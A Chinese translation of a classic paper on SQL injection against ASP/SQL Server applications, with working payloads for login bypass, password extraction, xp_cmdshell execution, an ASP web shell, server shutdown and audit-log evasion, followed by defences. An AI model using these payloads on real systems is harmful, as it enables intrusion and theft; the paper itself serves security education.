Advanced SQL Injection In SQL Server Applications

/*******************************************************
作者:Chris Anley([email protected]
翻译:黯魂[S.S.T]
注意:转载请注明来自http://www.m0ther.cn,并恳请指正其中不准确之处:)
另外,译文我已经做成pdf格式文档,需要的朋友可以直接下载.
下载地址为:http://www.m0ther.cn/paper/advanced_sql_injection.pdf
********************************************************/

基于SQL server应用的高级SQL注入技术

目录
[摘要]……………………………………………………………3
[介绍]……………………………………………………………3
[利用错误消息获得信息]……………………………………………..7
[平衡深层访问]…………………………………………………….12
[xp_cmdshell]……………………………………………………12
[xp_regread]…………………………………………………….13
[其他扩展存储过程]……………………………………………….13
[连接的服务器]…………………………………………………..14
[自定义扩展存储过程]……………………………………………..14
[导入文本文件到表中]……………………………………………..15
[使用BCP创建文本文件]…………………………………………….15
[基于SQL-server的ActiveX自动控制脚本]………………………………15
[存储过程]………………………………………………………..17
[高级SQL注入]……………………………………………………..18
[不带引号的字符串]……………………………………………….18
[二次SQL注入]……………………………………………………18
[长度限制]………………………………………………………20
[绕过检查]………………………………………………………21
[防御]……………………………………………………………21
[输入确认]………………………………………………………21
[SQL服务器保障]…………………………………………………23
[参考]……………………………………………………………24
附录A–’SQLCrack’………………………………………………….25
(sqlcrack.sql)…………………………………………………..25

[摘要]

这篇文档主要讨论普通SQL注入技术的细节,比如应用在流行的微软IIS/ASP/SQL-server平台。它研究的是各种不同的能够使SQL注入到应用程序,数据确认地址以及数据库锁定发布等与这类攻击有关的方法。

此文主要适合以下职业人群阅读:1.与数据库打交道的网络应用程序开发者 2.具有网络应用程序审核职责的安全专家。

[介绍]

结构化查询语言(SQL)是一种用来与相关数据库组合使用的文本化语言.有许多种类的SQL;大多数目前普遍使用的都不严格遵循于SQL-92,以及最近的ANSI标准.典型的SQL执行单元是’查询(Query)’,即代表性地返回一个单独的’结果设置(result set)’的声明集合.SQL语句可以修改数据库的结构(使用数据定义语言声明,即"DDL"),操作数据库的内容(使用数据操作语言声明,即"DML").在本文中,我们将明确地讨论Transact-SQL,被微软SQL-server所使用的SQL语言.

SQL注入通常发生在当一个攻击者能够插入一连串的SQL语句到一个被输入到应用程序中的查询语句中时.

一个典型的SQL语句看上去应该是这样的:
select id, forename, surname from authors

这个语句将从arthors表中查到id,forename,surname这些所有行的内容.’result set’对"authors"能够进行像这样的明确限制:
select id, forename, surname from authors where forename = ’john’ and surname = ’smith’

这儿需要注意的一个关键点是,字面上的’john’和’smith’被单引号所隔开.但恰好’forename’和’surname’这2行又被用户提供的输入所汇聚到一起.攻击者可以通过输入自己构造的值来注入到SQL查询语句中:
Forename: jo’hn
Surname: smith

查询字符串就变成了这样:
select id, forename, surname from authors where forename = ’jo’hn’ and surname = ’smith’

当数据库尝试运行查询语句时,很可能返回一个错误:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near ’hn’.

出错的原因是插入的单引号字符中断了单引号隔开的数据.然后数据库会试着执行’hn’并且失败.如果攻击者刻意输入这样的语句:
Forename: jo’; drop table authors–
Surname:

authors表将被删除,至于为什么我们等会告诉大家。

看上去好像只要从输入中过滤掉单引号,或者通过一些方法避开它就能处理这个问题了。思路是正确的,然而用这个方法解决的时候有几处难点,第一,并非所有的用户输入都是这种形式的字符串。假设用户的输入能够通过id选择一个author(随便猜测一个id号),例如,查询可能是这样的:
select id, forename, surname from authors where id=1234

在这种情况下,攻击者能在数字输入的末尾添加SQL语句.在其他SQL方法中,会使用不同的分隔符;比方说在Microsoft Jet DBMS engine中,日期会被’#’隔开.第二,刚开始简单地解决它时就避开单引号好像没有必要.接下来我们会说明缘由.

我们用一个ASP登录页面的例子来在更深层次的细节上说明这些难点,这个ASP页面会访问一个SQL-server数据库,并审核虚构应用程序的访问.

下面是处理用户键入的用户名及密码的form页面的代码:

<HTML>
<HEAD>
<TITLE>登录页面</TITLE>
</HEAD>
<BODY bgcolor=’000000’ text=’cccccc’>
<FONT Face=’tahoma’ color=’cccccc’>
<CENTER><H1>Login</H1>
<FORM action=’process_login.asp’ method=post>
<TABLE>
<TR><TD>用户名:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>密码:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value=’Submit’> <INPUT type=reset value=’Reset’>
</FORM>
</FONT>
</BODY>
</HTML>

这是处理登录的页面process_login.asp的代码:

<HTML>
<BODY bgcolor=’000000’ text=’ffffff’>
<FONT Face=’tahoma’ color=’ffffff’>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ’" + username + "’ and password = ’" + password + "’";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face=’tahoma’ color=’cc0000’>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face=’tahoma’ color=’00cc00’>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

关键点是,页面process_login.asp创建查询字符串的部分:
var sql = "select * from users where username = ’" + username + "’ and password = ’" + password + "’";如果用户构造如下的语句:
Username: ’; drop table users–
Password:

users表将被删除,从而阻止所有用户访问.’–’在Transact-SQL里表示单行注释,’;’标志着一个查询语句的结束与另一句的开始.用户名这一行末尾的’–’对于为了防止异常终止情况发生而构造的特殊语句而言是必需的.

这下攻击者便可以使用任何一个他们知道的用户名登录了,他们通常会使用如下的输入:
Username: admin’–

这个攻击者能够用如下的输入,以users表里第一个用户的身份登录进去:
Username: ’ or 1=1–

然后…奇怪的是,攻击者可以用一个完全虚构的用户登录进去:
Username: ’ union select 1, ’fictional_user’, ’some_password’, 1–

他能够正常登录的原因是,应用程序认为攻击者指定的constant行是从数据库中重新找回的记录的一部分.

[利用错误消息获得信息]

这个方法是David Litchfield在一次渗透测试的过程中首次发现的;之后他便写了一篇关于描述该方法的文档,后来的作者都参考了它。文档论述了潜在错误消息的机制,使读者能够完全理解,并且潜在地引起了他们的变化。

为了操作数据库中的数据,攻击者往往需要确定数据库以及表的结构。比如说,users表可以用以下的命令创建:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且已有如下的用户插入:
insert into users values( 0, ’admin’, ’r00tr0x!’, 0xffff )
insert into users values( 0, ’guest’, ’guest’, 0x0000 )
insert into users values( 0, ’chris’, ’password’, 0x00ff )
insert into users values( 0, ’fred’, ’sesame’, 0x00ff )

让我们看看攻击者想为他自己插入一个用户。如若不清楚users表的结构,他不大可能会成功。即使他很幸运,但仍然不清楚’privs’字段的意义,他可能插入一个’l’,得到一个低权限的用户。

对攻击者而言,幸运的是,如果应用程序返回了错误消息(ASP的默认属性),那么他便可以弄明白数据库的整个结构,从而能够获得任何能够被ASP应用程序连接数据库的帐户所能读取的信息。

(下面的例子使用了提供的样本数据库和ASP脚本来说明该技巧是如何利用的)

首先,攻击者试图通过查询语句确定表名和列名,为此,他使用select声明的子句having:
Username: ’ having 1=1–

这将导致如下的错误:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

现在攻击者知道了表名和第一列的名字,他还能够通过group by子句继续查询剩下的列名:
Username: ’ group by users.id having 1=1–

(同样导致了错误…)

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最后攻击者到达了username后面:
’ group by users.id, users.username, users.password, users.privs having 1=1–

…没有再出现错误,功能上等价于:
select * from users where username = ’’

所以现在攻击者知道了只有users表,以及按照如下次序排列的列’id, username, password, privs’.

这对他确定每列值的类型很有用,不过还能使用"类型转换"错误消息来达到同样的目的:
Username: ’ union select sum(username) from users–

上面的语句会让SQL-server服务器在确认username类型是否等于sum之前尝试应用sum子句.服务器返回如下结果:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

告诉了我们username的类型是varchar.另一方面,如果我们尝试计算数字类型的sum值,错误消息将告诉我们这2行的数字域不匹配:
Username: ’ union select sum(id) from users–

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

使用这个技巧,我们可以大致确定数据库中任何表,任何列的类型.

这就使得攻击者可以创建一个构造完美的insert查询,像这样:
Username: ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )–

尽管如此,思维的拓展并没有终止.攻击者能利用任何错误消息来暴露环境,或者数据库的信息.

标准错误消息的格式化字符串列表能在运行之后获得:
select * from master..sysmessages

检测这个列表后会暴露一些有趣的信息.

一个特别有用的信息涉及类型转换.如果你尝试把一个字符串转换成一个整型,字符串的全部内容会通过错误消息返回.在前面的登录页面例子中,username后面会返回详细而精确的SQL-server版本信息,以及上面运行着的服务器操作系统.
Username: ’ union select @@version,1,1,1–

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ’ to a column of data type int.
/process_login.asp, line 35

以上的语句尝试把内置常量’@@version’转换为一个整型,因为users表的第一列就是整型.

这个技巧可以用来获取数据库中任何表的任何值.从攻击者对用户名和密码感兴趣那一刻开始,他们就极有可能从users表中获取用户名的值:
Username: ’ union select min(username),1,1,1 from users where username > ’a’–

以上语句选取username列中比a大的最小值,并尝试把它转换成一个整型:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’admin’ to a column of data type int.
/process_login.asp, line 35

现在攻击者知道admin用户名存在,他将反复构造语句查询出其他每个用户名:
Username: ’ union select min(username),1,1,1 from users where username > ’admin’–

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’chris’ to a column of data type int.
/process_login.asp, line 35

一旦攻击者确定了用户名,他便会马上开始搜集密码:
Username: ’ union select password,1,1,1 from users where username = ’admin’–

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’r00tr0x!’ to a column of data type int.
/process_login.asp, line 35

一个更高超的技巧是连接所有的用户名和密码到一个单独的字符串中,然后尝试把它们转换为整型.这说明了另一点:Transact-SQL声明能在同一行连贯起来而不改变含义.下面的脚本将连接这些值:

begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ’+username+’/’+password from users where username>@ret
select @ret as ret into foo
end
攻击者使用这个用户名登录:
Username: ’; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ’+username+’/’+password from users where

username>@ret select @ret as ret into foo end–

创建了包含ret列的表foo,并且把我们的字符串放了进去.通常一个低权限的用户都能够在数据库中创建表.然后攻击者会向先前那样从表中选取出字符串:
Username: ’ union select ret,1,1,1 from foo–

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’: admin/r00tr0x! guest/guest
chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35

然后删除掉该表,以清理痕迹.
Username: ’; drop table foo–

以上这些例子仅仅只是对该技巧的浅尝辄止.不必说,如果攻击者能从数据库中获得足够的错误信息,他们的工作将变得无限简单.

[平衡深层访问]
一旦攻击者控制了数据库,则很有可能通过访问权获得网络的更深层次的控制权.可以通过以下几种方法达到目的:

1.在数据库服务器上以SQL-server用户的身份,使用xp_cmdshell扩展存储过程执行命令.
2.使用xp_regread扩展存储过程读取注册表键值,并潜在的包含了SAM文件(如果SQL-server以本地系统帐户运行).
3.使用其他扩展存储过程影响服务器.
4.在与其连接的服务器上执行查询操作.
5.创建自定义扩展存储过程,使得能够在SQL-server进程中运行exploit代码.
6.使用bulk insert声明读取服务器上的任何文件.
7.使用bcp在服务器上创建任意文本文件.
8.使用sp_OACreate, sp_OAMethod和sp_OAGetProperty这些系统存储过程来创建ActiveX应用程序,使其能完成ASP脚本能完成的任何事.

以上这些仅仅是再普通不过的攻击者的一般步骤;很有可能攻击者在发现这些技巧的同时已向其他人提及.我们以收集明显相关的SQL-server攻击的方法来公开这些技术,是为了告诉大家什么是可能的,并给予你注入SQL的能力.我们将一一处理以上要点:

xp_cmdshell

扩展存储过程本质上是被编译成了动态链接库(DLLs),并使用SQL-server的标准来运行输出函数.它们允许SQL-server应用程序访问全部的C/C++函数,并且是极端有用的特性.许多扩展存储过程都建立在SQL-server基础之上,并完成不同的功能,像发送邮件,以及与注册表相关联等.

xp_cmdshell是一种允许任意命令行执行的基础扩展存储过程.例如:
exec master..xp_cmdshell ’dir’将获得SQL-Server进程的当前工作目录的目录列表.
exec master..xp_cmdshell ’net1 user’将提供当前机器上所有用户的列表.
自从SQL-Server能够以任意的当前系统帐户,或者域帐户正常运行开始,攻击者便能做相当程度的破坏.

xp_regread

另一些有用的扩展存储过程是xp_regXXX函数:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

下面是以上一些函数的用例:
exec xp_regread HKEY_LOCAL_MACHINE, ’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ’nullsessionshares’
(这就决定了什么样的nullsessionshares在服务器上是可用的)

exec xp_regenumvalues HKEY_LOCAL_MACHINE, ’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
(这将显示服务器上配置的所有SNMP组,有了这些信息,攻击者便可以修改网络中相同区域的网络配置)

很容易想像攻击者如何使用这些功能读取SAM文件信息,改变系统服务配置,以至于机器下次启动时,登录的任何用户都能执行任何命令.

其他扩展存储过程

xp_servicecontrol过程允许用户开始,停止,暂停和继续某种服务:
exec master..xp_servicecontrol ’start’, ’schedule’
exec master..xp_servicecontrol ’start’, ’server’

下面是一些其他有用的扩展存储过程的一个表:
——————————————————————————————————
xp_availablemedia 显示机器上的可用驱动.
xp_dirtree 允许获得目录树.
xp_enumdsn 列举服务器上的ODBC数据源.
xp_loginconfig 显示服务器安全模式的信息.
xp_makecab 允许用户在服务器上创建压缩文档(文件)或服务器支持的任何文件.
xp_ntsec_enumdomains 列举服务器能访问的域.
xp_terminate_process 终止一个进程,并给出PID.
——————————————————————————————————

连接的服务器

SQL服务器提供一种允许服务器被连接的机制,也就是说,允许在一个数据库服务器上进行查询,而操作另一个的数据.这些链接被存储在master..sysservers表中,如果一个连接着的服务器被设置成使用sp_addlinkedsrvlogin过程,那么它不用登录也可以访问.’openquery’功能允许在连接着的服务器上执行查询操作.

自定义扩展存储过程

API扩展存储过程是简单而又标准的其中之一,而且它的任务便是能够创建一个携带恶意代码的DLL扩展存储过程.有几种通过命令行把DLL上传到SQL服务器的方法,还有其他方法,包括各种自动化的连接机制.比如HTTP下载,FTP.

一旦DLL文件放在了SQL服务器能访问到的机器上,不需要SQL服务器本身,攻击者就能通过命令行添加扩展存储过程(这样的话,我们的恶意存储过程便成为了能输出服务器文件系统的一个小型木马WEB服务器).sp_addextendedproc ’xp_webserver’, ’c:\temp\xp_foo.dll’
接着,扩展存储过程将被正常调用而得以运行exec xp_webserver
一旦存储过程运行,它将会像这样被删除:

sp_dropextendedproc ’xp_webserver’

[导入文本文件到表中]

使用bulk insert声明,将有可能插入一个文本文件到一个临时表中.
像这样创建一个简单的临时表:

create table foo( line varchar(8000) )

然后运行一个bulk insert从文件中插入数据:

bulk insert foo from ’c:\inetpub\wwwroot\process_login.asp’

使用任何前面所介绍的错误消息技巧,数据都能被找回.或者使用一个union查询,把文本文件中的数据与应用程序正常返回的数据综合到一起.这对于获得存储在数据库服务器上的脚本源代码,甚至于ASP源文件都很有用.

[使用BCP创建文本文件]

对bulk insert而言,使用opposite技巧创建任意文本文件相当容易.不幸的是,这需要一个命令行工具,’bcp’,’bulk copy program’.自从bcp能从SQL服务器进程之外访问数据库,它就开始需要登录了.而自从攻击者能随意创建,或利用integrated安全模式开始,如果服务器被设置成能够使用它,那就不难获得了.

命令行格式像下面这样:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
参数S代表运行查询命令的服务器,在foobar中,U是用户名,P是密码.

[基于SQL-server的ActiveX自动控制脚本]

SQL服务器提供的几种内置扩展存储过程允许ActiveX自动控制脚本的创建.这些(自动控制)脚本在功能上与window主机上运行的(脚本)几乎一样,或者说ASP脚本(典型的由VBSCRIPT或JAVASCRIPT所编写),并创建与之交互的自动控制对象.这种情况下,用Transact-SQL语言所写的自动控制脚本要比ASP脚本,或者WSH脚本强大得多.下面的一些例子将会说明它:

1)这个例子使用wscript.shell对象创建一个记事本实例(当然,可以在任何命令行下完成):

— wscript.shell example
declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’

它将使用如下的指定用户名在例子中得以执行(所有命令必须在一行中):

Username: ’; declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’–

2)这个例子使用scripting.filesystemobject对象读取一个已知的文本文件:

— scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end

3)这个例子创建一个能把运行的任何命令传到本身查询字符串中的ASP脚本:

— scripting.filesystemobject example – create a ’run this’ .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL,
’<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>’它很重要乃至于你可能需要做下笔记:当它运行在Windows NT4, IIS4平台时,所执行的命令会以系统帐户权限运行.但在IIS5上,它们将以低权限的IWAM_xxx帐户身份运行.

4)这个(有点欺骗性的)例子会说明这个技巧的灵活性,它使用speech.voicetext对象促使SQL服务器发出声音:

declare @o int, @ret int
exec sp_oacreate ’speech.voicetext’, @o out
exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’
exec sp_oasetproperty @o, ’speed’, 150
exec sp_oamethod @o, ’speak’, NULL, ’你的所有服务器都属于我们’, 528
waitfor delay ’00:00:05’

这将使用我们指定的用户名在假定的例子中运行(注意:这个例子不仅仅是在注入一个脚本,同时也以admin用户名登录进了应用程序):

Username: admin’; declare @o int, @ret int exec sp_oacreate ’speech.voicetext’, @o out exec sp_oamethod @o, ’register’, NULL,

’foo’, ’bar’ exec sp_oasetproperty @o, ’speed’, 150 exec sp_oamethod @o, ’speak’, NULL, ’你的所有服务器都属于我们’, 528

waitfor delay ’00:00:05’–

[存储过程]

传统思想认为,如果一个ASP应用程序在数据库中使用存储过程,那么SQL注入将不会发生.目前看来,只有一半正确,它取决于ASP脚本调用存储过程的方式.

本质上,如果一个查询参数得以运行,并且用户提供的参数被安全传给了查询语句,SQL注入就绝对不可能.但是,如果攻击者尽全力改变运行着的查询字符串中的非数据部分,那他们就极有可能控制数据库.

一些好的规则如下:
*如果ASP脚本创建的SQL查询字符串被服务器接受,那就存在SQL注入的威胁.即便使用了存储过程.
*如果ASP脚本使用一个过程对象隐藏存储过程参数的作用(比如说ADO对象,用在参数收集上),那一般就安全了,尽管它取决于对象的执行.

虽然新的攻击技巧始终在被发现,很明显,最好的做法仍然是验证所有用户的输入.

为了说明存储过程查询注入点,执行如下的SQL查询字符串:

sp_who ’1’ select * from sysobjects
或者
sp_who ’1’; select * from sysobjects

随便哪一个,在存储过程之后,附加的查询都能被执行.

[高级SQL注入]

一般说来,网络应用程序会"忘掉"检查单引号,另外在用户提交的数据当中同样也是,比如长度限制.

这部分,我们讨论一些帮助攻击者绕过针对SQL注入的明显防御措施的技巧,以及如何躲避日志记录.

[不带引号的字符串]

有时候,程序开发者已经设法保护应用程序不被单引号绕过,他们可能会使用VBSCRIPT中的replace函数或者与之类似的:

function escape( input )
input = replace(input, "’", "’’")
escape = input
end function

无可否认,这将阻止我们的示例站点中即将发生的所有攻击,并且排除’;’(分号)也会帮很大的忙.但是,在一个大型应用程序中,用户输入的一些值很有可能是数字型的.这些值将不需要"划界".

如果攻击者试图创建一个不带引号的字符串,他们会使用char函数,例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

就是一个不包含引号的语句,将会插入字符串到一个表中.

当然,如果攻击者不介意使用一个数字型的用户名和密码,以下语句同样能够做到:

insert into users values( 667,
123,
123,
0xffff)

自SQL-server会自动把整型转换为varchar开始,类型转换便是必然的.

[二次SQL注入]

即使一个应用程序能防止单引号注入,但是只要数据库中的数据会被应用程序再次使用,攻击者就仍然能够注入.

比如说,攻击者在一个应用程序中注册时,创建一个用户名:

Username: admin’–
Password: password

应用程序正确地躲避了单引号,导致了像这样的一个"插入"语句:

insert into users values( 123, ’admin’’–’, ’password’, 0xffff )

下面让我们说说应用程序如何允许一个用户修改他的密码.ASP脚本代码在用户设置新密码前会先确定其是否拥有正确的原密码,代码看上去可能是这样的:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ’" + username + "’ and password = ’" + oldpassword + "’";
rso.open( sql, cn );
if (rso.EOF)
{
…而设置新密码的语句像这样:

sql = "update users set password = ’" + newpassword + "’ where username = ’" + rso("username") + "’"rso("username")是从登录语句中重新得到的用户名.

由于给定的用户名是admin’–,将会生成如下的语句:

update users set password = ’password’ where username = ’admin’–’

所以通过注册一个用户名为admin’–的帐号,攻击者便能设置他们选定的admin的密码.

这是一个危险的问题,目前在绝大多数的应用程序中都使用的是替换数据.最好的解决方法是过滤不良输入,而不是替换.有时候这会导致问题的出现,但是,已知的不良输入很难确切的知道,比如在带省略号的名字中.

从安全角度来看,最好的解决办法就是不允许单引号执行.如果这无法接受,它们将不得不被漏掉而得以执行.在这种情况下,最好要确保所有进入到一个SQL查询字符串中的数据(包括数据库中包含的数据)都被正确地提交.

假如攻击者不使用应用程序都能随意地插入数据到系统中,那么这种形式的攻击也成为了可能;应用程序可能会有一个email接口,再或者攻击者尽全力对数据库进行控制时,错误日志将会被存储.核实所有的数据总是最好的,包括已经存在于系统中的数据,确认函数相对于调用应该要简单得多.例如:

if ( not isValid( "email", request.querystring("email") ) then
response.end

或者一些类似的…

[长度限制]

有时输入数据的长度会受到限制,以使攻击难度增加.当它阻止一些类型的攻击时,在很小数目的SQL中却有可能造成极大的损失.例如以下的用户名:

Username: ’;shutdown–

将关闭SQL服务器实例,仅仅使用了12个字符.另一个例子是:

drop table <tablename>
如果在字符串中替换单引号后又增加了长度限制,另一个问题将会发生.假设用户名和密码都限制为16个字符,如下的连在一起的用户名和密码仍然能够执行上面所说的shutdown命令:

Username: aaaaaaaaaaaaaaa’
Password: ’; shutdown–

原因是,应用程序尝试在用户名的末尾替换掉单引号,但是字符串紧接着将会将其缩减到16个字符,删除掉替换的单引号.最终结果是密码中会包含一些SQL命令,如果它从一个单引号开始,则查询命令看上去像这样:

select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown–

很有效果,查询语句中的用户名变成了aaaaaaaaaaaaaaa’ and password=’

因此SQL运行了.

[绕过检查]

SQL服务器在sp_traceXXX函数族中包含一个强大的检查接口,允许数据库中不同事件的日志记录.在这里,感兴趣的细节是T-SQL事件,它记录了所有的SQL语句声明.如果这种级别的检测被开启,我们所讨论的所有SQL注入查询都将会被记录,并且一个有经验的数据库管理员会清楚地明白发生了什么.不幸的是,如果攻击者添加字符串sp_password到一个Transact-SQL语句中,检测机制则会记录成如下这样:

— ’sp_password’ was found in the text of this event.
— The text has been replaced with this comment for security reasons.

这种情况发生在所有的T-SQL记录中,即使’sp_password出现在一个注释中.这个过程本来是打算隐藏用户的纯文本密码,以通过sp_password,但对于攻击者而言却相当有用.

所以,为了隐藏所有的注入,攻击者需要简单添加sp_password在"–"注释符后面:

Username: admin’–sp_password

事实上,一些已经运行的SQL将被记录,但查询字符串本身却往往不存在于日志记录中.

[防御]

这部分讨论一些针对已描述攻击手段的防御对策.有输入确认,一些示例代码,最后还有SQL服务器保障.

[输入确认]

输入确认是一个复杂的主题,然而极具代表性的是:自从过多的确认会导致一个应用程序的部分中断开始,在开发项目时便只给予了极少的关注,并且输入确认问题很难解决.

下面是附带示例代码的对于输入确认的一个简短讨论,示例代码被设计成不会被应用程序直接使用,但它们能很好地说明不同的策略.

不同的相近数据确认会按照如下分类:
1)尝试修改(massage)数据以使之有效.
2)拒绝(过滤)已知恶意输入.
3)仅接受已知的非恶意输入.

解决方案(1)存在许多概念上的问题:首先,程序编写者没有必要知道是什么导致了无效数据(bad data),因为新的无效(有害)数据在不断被发现;其次,修改(massage)数据会改变它的长度,这将导致以上描述的问题.最后,存在第二阶段影响的问题,包括系统中数据的重用.

解决方案(2)遭受一些与(1)相同的结果.随着新的攻击技巧的发展,已知的恶意输入随时都在改变.

解决方案(3)可能是三个中相对较好的,但它很难实现.

或许从一个安全角度来看,最好的方法是综合(2)和(3):只允许非恶意输入(good input),然后在输入中搜索已知的恶意数据(bad data).

一个综合这2种方法的很好例子是:带连接符的姓的问题.

Quentin Bassington-Bassington

我们必须承认连字符属于非恶意输入(good input),但我们也知道"–"对SQL服务器的重要性.

如果我们使用一个已知恶意输入的过滤程序检测"–","select"和"union",并删除单引号.攻击者仍然可能构造如下的输入:

uni’on sel’ect @@version-’-

自从已知恶意输入过滤程序会删除单引号开始应用,攻击者就能简单添加单引号在字符串中绕过检测.

下面是一些检测代码的例子:

方法1–替换单引号:

function escape( input )
input = replace(input, "’", "’’")
escape = input
end function

方法2–过滤(拒绝)恶意输入:

function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "–", "’" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function

方法3–只允许非恶意输入:

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

[SQL服务器保障]

最重要的一点是保障SQL服务器的安全,下面是当创建一台SQL服务器时需要仔细做好的简短列表:

1.确定服务器的连接方法
a.核实只有你正在使用的网络库文件被激活,使用Network utility.

2.核实存在的帐号
a.创建应用程序使用的低权限的帐号.
b.删除不必要的帐号
c.确保所有的帐号都有强壮的密码,可以运行一个帐号审核脚本.

3.核实存在的对象
a.许多扩展存储过程都能被安全地删除.如果这个已经完成,那就考虑删除包含扩展存储过程代码的dll文件.
b.删掉所有的示例数据库,比如northwind和pubs.

4.核实什么帐号能访问什么对象
a.应用程序用来访问数据库的帐号应该只有最小许可权限去访问它所需要使用的对象.

5.核实服务器所打补丁程度
a.有几种缓冲区溢出[3],[4]和格式化字符串[5]攻击针对SQL服务器(主要被本人发现),还有其他几种攻击则由安全补丁带来(可能更多的存在于

补丁中).

6.核实什么将会被日志记录.

一个极好的保障措施在www.sqlsecurity.com[2]上被提供.

[参考]

[1] 用ODBC错误消息解析网络应用程序 David Litchfield
http://www.nextgenss.com/papers/webappdis.doc

[2] SQL服务器保障措施
http://www.sqlsecurity.com/checklist.asp

[3] SQL Server 2000 扩展存储过程脆弱点
http://www.atstake.com/research/advisories/2000/a120100-2.txt

[4] Microsoft SQL Server 扩展存储过程脆弱点
http://www.atstake.com/research/advisories/2000/a120100-1.txt

[5] SQL server 中的多重缓冲区格式化字符串脆弱点
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt

[附录A]SQLCrack

这个SQL密码破解脚本(本人所写)需要访问master..sysxlogins的password列,而且不大可能被攻击者所使用.但是,对数据库管理员而言,却是他们搜索并改进数据库上所使用的密码的强壮性的极有力的工具. 使用时,用你的密码文件路径替换代码中密码文件的路径.

下面是脚本:(sqlcrack.sql)

